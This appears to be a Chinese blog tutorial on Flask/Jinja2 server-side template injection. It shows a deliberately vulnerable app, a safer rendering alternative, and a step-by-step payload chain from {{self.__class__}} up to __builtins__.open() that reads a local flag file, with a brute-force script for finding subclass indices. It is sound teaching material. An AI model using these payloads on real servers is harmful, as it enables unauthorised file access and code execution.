Flask模板注入
Flask模板注入
Flask模板注入漏洞属于经典的SSTI(服务器模板注入漏洞)。
Flask案例
一个简单的Flask应用案例:
from flask import Flask,render_template_string
app=Flask(__name__)
@app.route('/<username>')
def hello(username):
return render_template_string('Hello %s'%username)
if __name__=='__main__':
app.run(port=8088)
路由
route装饰器的作用是将函数与url绑定,其功能是返回使用者自定义的username。
渲染方法
Flask具有两种渲染方法:render_template和render_template_string。
render_template()用于渲染给定文件,如:
return render_template('./example.html')
render_template_string()用于渲染单个字符串。这是SSTI漏洞注入问题中常见的渲染方法。使用方法如:
html='<h1>This is a test.</h1>'
return render_template_string(html)
模板
Flask使用jinja2作为渲染引擎。模板文件并不是纯粹的.html文件,由于需要渲染用户名、个性数据等,模板.html文件需要包含模板语法,如:
<!--/template/index.html-->
<html>
<h1>{{content}}</h1>
</html>
{{}}在jinja2为变量包裹标识符。
服务端此时就能利用变量content渲染数据,如:
#test.py
from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
return render_template('index.html',content='This is index page.')
页面会输出“This is index page.”。不过这是与前文案例不同的模板使用方式,这种写法能够控制模板渲染的变量,不会引起XSS利用。
规避XSS利用的思路可以用如下两端代码的对比体现:
#存在问题
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''<h3>%s</h3>'''%(code)
return render_template_string(html)
#规避问题
@app.route('/test/')
def test():
code = request.args.get('id')
return render_template_string('<h1>{{ code }}</h1>',code=code)
实现注入,需要前文案例中那样有漏洞的写法。
注入试验
将jinja2的变量包裹标识符{{}}传入,得到报错:
在服务端可以得到报错信息:jinja2.exceptions.TemplateSyntaxError: Expected an expression, got 'end of print statement',即触发模板,且模板需要取得表达式内容。
传入{{self}},返回模板数据:
案例中,模板具有引用对象username,这里没有传入,故引用对象为None。
文件查询
设定服务端的.py文件同级目录下有一个FL4G.txt文件。
定位所需函数
打开文件需要Python内建的open()函数,由于Python完全由对象构建,需要先得到Python的对象,再实例化需要的函数。
使用魔术方法(Magic Methods)。
传入{{self.__class__}},得到模板引用的类:
对象是类的实例,类是对象的模板。传入{{self.__class__.__base__}},得到对象:
得到基于当前对象的所有子类,传入{{self.__class__.__base__.__subclasses__()}}:
返回了列表形式存储的全部结果,使用下标可以单独取得任意类。
查看type类的初始化方法,传入{{self.__class__.__base__.__subclasses__()[0].__init__}}:
slot wrapper特征封装,不是可以直接调用的function。
使用如下脚本取得类初始化方法为function的类:
import requests
if __name__=='__main__':
for i in range(1000):
r=requests.get('http://127.0.0.1:8088/%7B%7Bself.__class__.__base__.\
__subclasses__()[{}].__init__%7D%7D'.format(i))
txt=r.text
if 'function' in txt:
print(str(i))
重新传入{{self.__class__.__base__.__subclasses__()[133].__init__}},这个class的初始化方法是一个function:
继续查看存放该函数全局变量的字典的引用,传入{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__}}:
在众多信息中可以查找到关于内建函数open()的信息:
调用函数
传入{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__']}},可得全部内建信息,open()函数包含在内。直接调用open()函数打开文件:
{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__'].open('FL4G.txt')}}
{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__'].open('FL4G.txt').read()}}
小结
几种重要的魔术方法:
| 方法名 | 功能 |
|---|---|
| __class__ | 返回类型所属的对象 |
| __mro__ | 返回包含对象所继承的基类元组,方法在解析时按照元组顺序解析 |
| __base__ | 返回对象所继承的基类 |
| __subclasses__ | 每个新类都保留子类的引用,该方法返回类中仍然可用的子类列表 |
| __init__ | 类的初始化 |
| __globals__ | 对包含函数全局变量的字典的引用 |
Flask模板注入的更多相关文章
- 关于flask的模板注入的学习
flask模板注入的学习 关于flask模版注入,之前不太理解,看了很多文章才弄懂,主要原理就是渲染函数的参数用户可控就造成了模板注入 就会使用户构造恶意的代码进行逃逸从而进行攻击 flask模板渲染 ...
- CTF SSTI(服务器模板注入)
目录 基础 一些姿势 1.config 2.self 3.[].() 3.url_for, g, request, namespace, lipsum, range, session, dict, g ...
- Flask(Jinja2) 服务端模板注入漏洞(SSTI)
flask Flask 是一个 web 框架.也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序.这个 wdb 应用程序可以使一些 web 页面.博客.wiki.基于 we ...
- python 模板注入
今天学习了python的模板注入,这里自己搭建环境测试以下,参考文章:http://www.freebuf.com/articles/web/136118.html web 程序包括两个文件: fla ...
- SSTI(服务器模板注入)学习
SSTI(服务器模板注入)学习 0x01 SSTI概念 SSTI看到ss两个字母就会想到服务器,常见的还有SSRF(服务器端请求伪造).SSTI就是服务器端模板注入(Server-Side Templ ...
- SSTI-服务端模板注入漏洞
原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露.代码执行.GetShell ...
- SSTI-服务端模板注入
SSTI-服务端模板注入漏洞 原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露. ...
- SSTI(模板注入)
SSTI 一. 什么是SSTI 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档. ...
- SSTI服务器模板注入(以及关于渲染,solt的学习)&&[BJDCTF2020]The mystery of ip 1
ssti服务器模板注入 ssti:利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 Web 应用程序的内容结构. slo ...
随机推荐
- woj1013 Barcelet 字符串 woj1014 Doraemon's Flashlight 几何
title: woj1013 Barcelet 字符串 date: 2020-03-18 18:00:00 categories: acm tags: [acm,字符串,woj] 字符串,字典序. 1 ...
- MS16-032 windows本地提权
试用系统:Tested on x32 Win7, x64 Win8, x64 2k12R2 提权powershell脚本: https://github.com/FuzzySecurity/Power ...
- os-hackNOS-2(wp5.3本地文件包含 rbash绕过)
一.信息收集 直接netdiscover,找到IP是 192.168.56.101 然后端口扫描一波 只打开了22和80端口,访问一下80端口,是apache首页,那就继续查目录赛.,发现了一个tsw ...
- 使用 js 实现十大排序算法: 计数排序
使用 js 实现十大排序算法: 计数排序 计数排序 refs xgqfrms 2012-2020 www.cnblogs.com 发布文章使用:只允许注册用户才可以访问!
- 微前端 & 微前端实践 & 微前端教程
微前端 & 微前端实践 & 微前端教程 微前端 micro frontends https://micro-frontends.org/ https://github.com/neul ...
- HTML5 Server-Sent Events
HTML5 Server-Sent Events SSE demo https://www.w3schools.com/html/tryit.asp?filename=tryhtml5_sse htt ...
- ts 遍历Class上的属性和方法
interface Type<T> extends Function { new (...args: any[]): T; } class Data { name = "ajan ...
- Flutter: Draggable和DragTarget 可拖动小部件
API class _MyHomeState extends State<MyHome> { List<Map<String, String>> _data1 = ...
- 生态建设者为何青睐低风险、低成本的NGK算力?
自从BGV推向市场以来,生态建设者的目光都聚集于BGV这个去中心化金融的新星,其实NGK的其他项目也都在稳健进行当中. NGK在未来将推出"算力市场奖励计划",NGK将会对算力市场 ...
- 微信附近的人,用redis也能实现?(GEO)
相信微信附近的人的功能大家都应该用过 我可以很随意的通过我自己的定位能看到我附近的人,并且能看到那个人距离我的距离,大家有没有思考过这个是怎么实现的? 作为一个程序猿任何问题应该都有一个思考的过程,而 ...